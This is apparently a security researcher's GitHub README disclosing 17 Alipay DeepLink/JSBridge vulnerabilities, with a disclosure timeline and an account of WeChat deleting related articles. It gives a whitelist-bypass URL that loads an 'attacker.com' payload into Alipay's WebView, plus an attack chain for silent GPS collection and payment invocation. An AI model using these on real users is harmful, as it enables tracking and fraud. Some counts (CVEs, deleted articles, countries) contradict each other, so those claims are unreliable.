582fa970a3
Remove named references to cxxsheng across 4 locations in index.html,
replacing with anonymous attribution ("独立安全研究者" / "An independent
security researcher"). Respects contributor's request to not be cited.
Closes #10
Co-Authored-By: Claude <noreply@anthropic.com>
Alipay DeepLink + JSBridge Security Research
17 Verified Vulnerabilities | 3 Devices | 308 Server Log Entries | 6 CVEs Applied
Alipay Mobile Payment Attack Surface — The Full-Stack Analysis by Innora AI
Layer Repository Findings Runtime alipay-deeplink-research (this repo) 17 vulnerabilities, CVSS 9.3 SDK alipay-securityguard-analysis 9 CVEs, AVMP VM bypass, 97% unprotected APIs Cryptography hash-collision-lab 15 PoCs, IACR ePrint 2026/526
⚠️ CENSORSHIP UPDATE — 2026-03-15
All 4 WeChat articles have been forcibly deleted.
The deletion notices state only: "Received related complaint. Determined to violate the Cybersecurity Law." Basis: "related laws and regulations."
No complainant identified. No specific law article cited. No appeal channel provided.
4 days earlier (March 11), a named complaint by Beijing Geyun Law Firm citing "reputation infringement" was reviewed and rejected by WeChat — the platform found it did not constitute infringement. This time, an anonymous complaint succeeded where the named one failed.
Meanwhile, the same research is independently verified by Packet Storm (#217089), accepted by MITRE (6 CVEs, Ticket #2005801), and under investigation by 16+ countries' regulators.
Full censorship analysis (bilingual EN/CN): innora.ai/zfb/article_censorship.html
WeChat Articles — ALL DELETED
| Status | Title | Original Link |
|---|---|---|
| 当白名单绕过沦为全网攻击的钥匙，傲慢的终点是法庭与溯源调查 | ||
| 巨头的"封口令"被微信驳回，全球顶级黑客弹药库给出最终裁决 | ||
| 支付宝安全研究遭律师函投诉 — 零次提及"支付宝"如何构成"商誉侵权"？ | ||
| 位置被秒偷！10多亿人每天在用的国民支付应用，17个「正常功能」细思极恐！ |
Archived versions: innora.ai/zfb/ | This repository
Censorship Record
Between March 15-20, 2026, 8 research articles documenting these vulnerabilities were force-deleted from WeChat (China's largest social platform) at the request of Ant Group's law firm, Beijing Geyun Law Firm. The deletions occurred in two waves:
Wave 1 (March 15): 4 articles deleted — whitelist bypass analysis, legal complaint rebuttal, GPS exfiltration report, and the "gag order rejected" follow-up.
Wave 2 (March 20): 4 more articles deleted — IACR paper announcement, 1095-app surveillance list analysis, formal CAC complaint, and SecurityGuard SDK reverse engineering.
The initial complaint citing "reputation infringement" was rejected by WeChat's own review team. The articles were subsequently removed after the complaint was resubmitted under China's Cybersecurity Law — with no specific legal provision cited and no appeal channel provided.
This research has been independently validated by:
- IACR: Academic paper accepted (eprint.iacr.org/2026/526)
- MITRE: 15 CVE IDs assigned (Tickets #2005801, #2010319)
- 22 countries: Regulatory agencies across 22 jurisdictions have confirmed receipt
- Packet Storm Security: Advisory #217089 published
Full censorship timeline with evidence: innora.ai/zfb/article_censorship.html
Readers are encouraged to fork this repository as backup against further takedown attempts.
Critical Finding: Whitelist Bypass (CVSS 9.3)
The master key enabling all 17 vulnerabilities to be remotely exploitable by ANYONE:
https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/payload.html
- No developer permissions required — No registration, no credentials, no approval
- Transforms all vulnerabilities — Without this bypass, issues are LAN-only; with it, anyone can attack 1B+ users remotely
- Vendor acknowledged severity — During a 23-minute recorded call, Ant Group's security lead stated: "If you can bypass our whitelist, that would be serious." Bypass achieved in under 2 minutes. Vendor refuses to patch, calling it "normal functionality"
- 6 CVEs applied via MITRE (Ticket #2005801), CWE-601 + CWE-939
Full Report
- Technical Report: innora.ai/zfb/
- Censorship Analysis: innora.ai/zfb/article_censorship.html
- Packet Storm Advisory: #217089
Global Regulatory Response
Reported to ~160 agencies across 22 countries. 38+ institutions responded:
| Institution | Country | Status |
|---|---|---|
| Apple Product Security | US | Active investigation |
| Google Play | US | Policy violation review |
| MITRE CVE | US | 6 CVEs accepted (Ticket #2005801) |
| Packet Storm Security | US | Advisory #217089 published |
| CSSF Luxembourg | EU | Whistleblowing case CSSFWB-2026-080 |
| HKMA | Hong Kong | SVF complaint filed |
| PDPC | Singapore | Privacy investigation opened |
| FCA | UK | Whistleblowing confirmed |
| OAIC | Australia | Intake confirmed |
| EDPB | EU | Cross-border complaint confirmed |
| ANSSI | France | Confirmed, forwarded |
| CIRCL | Luxembourg | Case #4782984, contacting Alibaba SRC |
| FMA | New Zealand | Confirmed, evaluating |
| OJK | Indonesia | Responded with follow-up |
| Datatilsynet | Denmark | Confirmed receipt |
| NCSC | UK | Confirmed receipt |
The Censorship Pattern
Feb 25 - Mar 7 Private disclosure (4 rounds + 23-min recorded call)
Mar 10 Vendor: "normal functionality" — refuses to patch
Mar 11 18:16 Public disclosure on innora.ai/zfb/
Mar 11 22:45 Beijing Geyun Law Firm complaint → REJECTED by WeChat
Mar 12 Packet Storm #217089 published, 6 CVEs at MITRE
Mar 12-14 189 emails → 22 countries → 38+ responses
Mar 15 Anonymous complaint → ALL 4 ARTICLES DELETED
No complainant. No specific law. No appeal.
The same content exists lawfully on Packet Storm, GitHub, and innora.ai — deleted only on Chinese platforms.
Key Findings
| Severity | Count | Examples |
|---|---|---|
| CRITICAL | 4 | Whitelist bypass (CVSS 9.3), GPS silent theft, Transfer pre-fill, Payment initiation |
| HIGH | 5 | Device fingerprinting, UI spoofing, Session leak |
| MEDIUM | 8 | Network info, Chain WebView, Scheme injection |
Attack Chain
Attacker crafts URL (NO developer permissions needed)
→ ds.alipay.com open redirect bypasses whitelist
→ Alipay WebView loads attacker's page with full JSBridge access
→ Silent data collection (GPS 8.8m accuracy, device info, session)
→ Payment interface invocation (tradePay)
→ UI spoofing (title bar, toast notifications)
→ Sensitive page navigation (transaction history, transfer, assets)
Cross-Platform Verification
- Samsung Galaxy S25 Ultra (Android 15, New Zealand)
- Redmi 12 (Android 14, Malaysia)
- iPhone 16 Pro (iOS 18.3, China — tested by vendor's own security lead)
Live PoC (Read-Only Demo)
No data is collected or transmitted. All results display locally only.
- Trigger Page — Simulates attacker distribution page
- JSBridge PoC — Demonstrates API access
- Chain WebView — Proves chained pages retain bridge access
Responsible Disclosure Timeline
| Date | Action |
|---|---|
| 2026-02-25 | Initial report sent to Ant Group SRC |
| 2026-03-07 | Full report V3: 17 vulnerabilities + 308 log entries |
| 2026-03-07 | 23-min call with vendor security lead (recorded) |
| 2026-03-10 | Vendor: "normal functionality" |
| 2026-03-11 | Public disclosure |
| 2026-03-11 | Beijing Geyun Law Firm complaint → rejected by WeChat |
| 2026-03-12 | Packet Storm #217089 published |
| 2026-03-12 | 6 CVEs applied via MITRE (Ticket #2005801) |
| 2026-03-12~14 | 189 emails → 22 countries → 38+ responses |
| 2026-03-15 | ALL 4 articles deleted — anonymous complaint, no appeal |
| 2026-03-15 | Censorship analysis published |
Mirrors & Archives
| Location | Status |
|---|---|
| innora.ai/zfb/ | Active |
| GitHub (this repo) | Active |
| Packet Storm #217089 | Permanently archived |
| DELETED (2026-03-15) |
Fork this repository as backup.
Evidence
- 308 server exfiltration log entries (JSONL format)
- 42 real-device screenshots
- Deletion notice screenshots:
wechat_censored_1.jpeg,wechat_censored_2.jpeg - Full evidence available: feng@innora.ai
Contact
- Researcher: Jiqiang Feng — Innora AI Security Research
- Email: feng@innora.ai
- Website: innora.ai
- Twitter: @met3or
This research follows ISO/IEC 29147:2018 responsible disclosure practices.